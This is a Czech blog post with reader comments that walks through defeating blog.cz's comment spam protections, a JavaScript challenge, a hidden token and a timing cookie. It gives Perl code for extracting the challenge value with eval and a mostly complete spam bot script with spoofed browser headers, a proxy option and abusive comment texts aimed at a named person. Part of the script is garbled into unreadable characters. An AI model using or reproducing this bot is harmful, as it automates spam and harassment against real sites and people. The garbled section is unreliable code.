Ani nevim co mě k tomu vede, možná nuda v cz :) Možná touha ukázat něco konečně ‘užitečnýho’, každopádně tím nechci nikoho poškodit, tahle botka je pro mě vzásadě k ničemu. O cz se nezajímam od doby kdy jsem zjistil že na webu jdou vydělat peníze, v čr si malým webem bez podovdů nevyděláte ani na jídlo. Vyhledávače jako seznam, centrum a atlas jsou mi tak jako tak ukradený, protože vyhledávat je to poslední co umí dobře a efektivně. Ani nenabádam nikoho aby tohle používal a někomu ‘ničil’ blog, prostě užívejte pro studijní účely :)

Proč vůbec spamovat blog.cz ? je to jeden z nejpoužívanějších hromadných blogovacích systémů. Zkuste si najít v googlu něco o tokio hotel, co vidíte ? 90% odkazů vede na blog.cz . Prakticky všechny mají komentáře…a to komentáře s možností zadání webu. Kdo by nechtěl > 1k backlinků ?

tak…

K rozpoznávání se používá 15 různých kritérií analyzujících samotný text, uvedené url, e-mail, IP adresy, HTTP hlavičky, stáří diskuze a další faktory. (viz. http://jyxo.blog.cz/0605/spamfiltr-na-blog-cz)

15 ? to si trošku přehnal ne :) analýza textu určitě vyřadí penis enlargement, ne nás. Url…hmm pokud to nepřeženete a nikdo vás nenabonzuje tak ok. IP adresy - samozřejmě proxy. HTTP hlavičky, jedna z nejsnadněji ovlivnitelných věcí. Nevím co je myšleno pod pojmem stáří diskuze protože většina těch blbějších botů spamuje hned první příspěvek co najde, my taktéž. Těmaa dalšíma faktorama se necháme překvapit.

Začneme asi přímo od nějakého blogu a zkusíme postnout bez cookies a javascriptu. Pak s Javascriptem. Já na to používam většinou links, je to pohodlnější než si roz….nastavit vlastní prohlížeč :)

blog_cz_1.png

Ha první ochrana se zjevila uživateli bez javascriptu. Takže nás čeká se podívat dovnitř html kódu.

blog_cz_2.png

Mmm druhá ochrana bude skrytá nejspíš v cookies. Tady bude asi nejjednoduší se podívat do komunikace mezi browserem a serverem.

Javascript na stránce vypadá asi takhle:

<noscript>
   napište "pekny den": <input type="text" name="secondaryMail" value="" />
</noscript>
<script type="text/javascript">
// <![CDATA[
   document.write('<input type="hidden" name="secondaryMail" value="pekny d' + 'en" />');
   /* S timto kodem jsou problemy v IE - zjistit, co mu nevoni (zmetkovi)
   var hdColumn = document.createElement('input');
   hdColumn.name = 'secondaryMail';
   hdComVGRvFFVsТD6^umn.value = 'pekny' + ' den';
   var form = document.getElementById('articleCommentForm');
   form.appendChild(hdColumn);
   */
// ]]>
</script>

Opravdu výzva hh, ještě před tím než sem to viděl jsem chtěl použít perl implementaci javascriptu, ale to je opravdu zbytečné :) má odpověď je tedy (samozřejmě v perlu)

if($content =~ /hdColumn.value = (.*)/im ) {
    my $tmp = $1;
    $tmp =~ s/\+/\./g;
    my $newval;
    eval('$newval = '.$tmp);
    $form{'secondaryMail'} = $newval;
  } else {
    print "  ! parse error, nemame tajny heslo :)\n";
    exit;
  }

ještě existuje varianta se sčítáním čísel a tim jsou veškeré javascriptové zábrany zlomeny (trik na sčítání v tomto případě zafunguje taky). Při procházení html kódu ještě narazíte na nestandarní položku atNum, která má fungovat asi taky jako ochrana nabýváním náhodných hodnot…anebo nevim…odparsujem prostě :)

if($content =~ /<input type="hidden" name="atNum" value="([^"]*)/im) {
    $form{'atNum'} = $1;
  } else {
    print "  ! parse error, nemame tajny heslo 2 :)\n";
    exit;
  }

Zbytek formulářových hodnot by měl být statický.

Tužší už budou cookies, protože stále formulář nelze odeslat i po zapnutí HTTP::Cookies. Tak jsem vzal ethereal mistra sniffu a mrknul se co si kluci mezi sebou vyměňujou navíc. Zaujala mě jedna věc

blog_cz_3.png

K čemu myslíte že tohle v cookiee slouží ? Nejdřív jsem měl podezření na gemius nebo nějakou takovou šílenou trackingovou službu, kterou by se toeriticky měřil čas strávený na stránce, ale zdrojáky tomu nenasvědčovali. Pak mi to došlo. Další kontrola spočívá jednoduše v časování…za jednu sekundu komentář nenapíšete, za dvacet sekund už ano. A máme vymalováno …pozdravuju mamku a taťku :)

#!/usr/bin/perl -w    

#
#           perl blog spammer project
#       --------------------------------
#
#          usage: ./spamurl.pl url
#
#           (c) 2006 sh@isecure.cz
#

use strict;
use warnings;
use LWP;
use HTTP::Cookies;


use constant COOKIESFILE    => 'cookies.lwp';

if (@ARGV != 1) {
  print "usage: ./spamurl.pl url\n";
  exit;
}
my $url = $ARGV[0];

my @ns_headers = (
  'User-Agent'      => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7',
  'Accept'          => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
  'Accept-Charset'  => 'windows-1250,utf-8;q=0.7,*;q=0.7',
  'Accept-Encoding' => 'gzip,deflate',
  'Accept-Language' => 'cs,en;q=0.7,en-us;q=0.3',
  'Connection'      => 'keep-alive',
  'Keep-Alive'      => '300',
);

my @text = (
  'Posledni dobou smrdim cimdal vic',
  'Seo hnuj utoci, zahlen sie bitte',
  'Radek Hulan je ukazkova vyzirka, vice na http://hulanator.kompost.cz',
  'Ty jeden plesnivej chomacku rektalnich chloupku',
  'atd :)'
);

my %form = (
  'discuss_name'      => 'Vozdr',
  'discuss_email'     => 'seo@smrdi.v.cz',
  'discuss_web'       => 'http://www.blackhats.cz',
  'discuss_text'      => $text[rand @text],
);

my $proxy = "http://sopl:80/";


my $response_get;
my $response_post;
my $form_send_to;
my $line;

my $browser = LWP::UserAgent->new(parse_head => 0);
#$browser->proxy(['http', 'ftp'], $proxy);

$browser->cookie_jar( HTTP::Cookies->new(
    'file' => COOKIESFILE,  # where to read/write cookies
    'autosave' => 1,        # save it to disk when done
));


print '+ uhm shitting on ' . $url . "\n";

$response_get = $browser->get( $url , @ns_headers);
my $content = $response_get->content;
my $asstring = $response_get->as_string;

if(
  $content =~ /discuss_name/i &&
  $content =~ /discuss_text/i
) {

  print "  - yeaaah mame koment\n";

  if($content =~ /discuss_web/) {
    print "  - yeaaah a muzeme sem nacpat i web\n";
  } else {
    print "  - nonweb comment :-/ ale i tak fajn\n";
  }
  
  # tajny heslo ;)   
  # hdComVfVRsrsrsТbF6FVBD6VfVR⢒ТגGFCТGF2²sТגFWwfðТWf‚rFWwfrGFТFf&ײw6V6F'wFWwfðТV6RТ&B"'6RW'&"VRFW6#ТWCТТТbF6FVBƖWBGS&FFV"S&DV"fVS"%ҢҒТFf&ײvDVwCТV6RТ&B"'6RW'&"VRFW6"#ТWCТТТvRגFWGfVRV6Vf&ҒТ&B"FWGfVU#ТТТ&B"6VWr#5#Т6VW#ТТG&W76U7BF'&w6W"7BGW&Vf&5VFW'2u&VfW&W"rGW&“Т&B""G&W76U7BW76vR%#ТТ&B"FW6#ТТVDDUBsFrТ&BDDUBG&W76U7B6FVCТ66RDDUBТЧV6RТ&B"R2GRR6V#ТWCЧ

Michale kde je těch patnáct ochran, který proklamuješ ? :) Spider si najděte/naprogramujte sami, technickou podporu taky neposkytuju, tak jestli máte nějaké otázky jděte z dovolením doprd…

"Spamuju, spamuješ, spamujeme blog.cz :)" - Komentáře (10)

  1. antton

    Perl neumim ale nema to bejt takhle?
    my $proxy = “http://xxxxxx/”;

  2. antton

    Jinak peknej clanek:-P

  3. sh

    mno muze bejt… ale proxyna se vetsinou udava s portem ;) diks

  4. antton

    no jasne, ale me slo o ten “$”

  5. sh

    jo ahaaaa…sakra :) diky

  6. pepiino

    “Nevím co je myšleno pod pojmem stáří diskuze protože většina těch blbějších botů spamuje hned první příspěvek co najde…”

    A o tom to je. Starší příspěvky bývají více linkovány, lépe indexovány vyhledávači atd. (samozřejmě, že to není pravidlo… ale platí to v souhrnu dost často). Spambot právě vleze na web přímo do staršího článku a chová se přesně jak píšeš - spamuje ten první kterej našel.

  7. sh

    Aha jasně to dává smysl… ale právě proto nechápu v čem by tedy kontrola stáří diskuze měla spočívat, protože lidi co přijdou z vyhledávačů by měli teoreticky komentovat nejvíc právě v tom článku, který našli(a je nejvíc linkován).

  8. pepiino

    efeseak: Já bych tipnul, že právě na bloguje leze nejvíc lidí přes rss a různý agregátory blogů, kde frčí spíš čerstvé věci. Jinak někdo někde někdy změřil, že pokud je u článku zobrazováno datum publikace (což na blogu bývá), tak čím je článek starší, tím mají lidé menší tendenci komentovat.

    Samo o sobě je to kritérium k ničemu, ale máš k dispozici statistická data (poměr spam/legální komentář vzhledem ke stáří článku - což bloguje mohlo klidně nashormáždit a mít tak velmi subjektivní data vzhledem k vlastnímu serveru), může to být jeden z mnoha ukazatelů pro rozhodnutí spam/ham (ale opravdu jen jeden z mnoha a osobně bych mu moc velkou váhu nedával. nejspíš bych se na něj i vykašlal :-D).

  9. pepiino

    pepiino: sorry, píšu bloguje a myslim blog.cz… mám v tom guláš :-D

  10. sh

    Aha jasně, to by dávalo smysl. Ono by totiž vůbec nebylo od věci spojit kritérium stáří a třeba to, že je adresa v příspěvku a rovnou zahazovat. Pokud adresa není tak pustit.

    Ostatně poslední test už neproběhl tak jak jsem očekával a právě posty, které měly v komentu adresu systém zablokoval a ostatní vesele pustil. Ale to otázka jestli to způsobilo právě stáří linků které jsem použil, nebo něco jiného.





© sh, bw and hosting donated by lidos.cz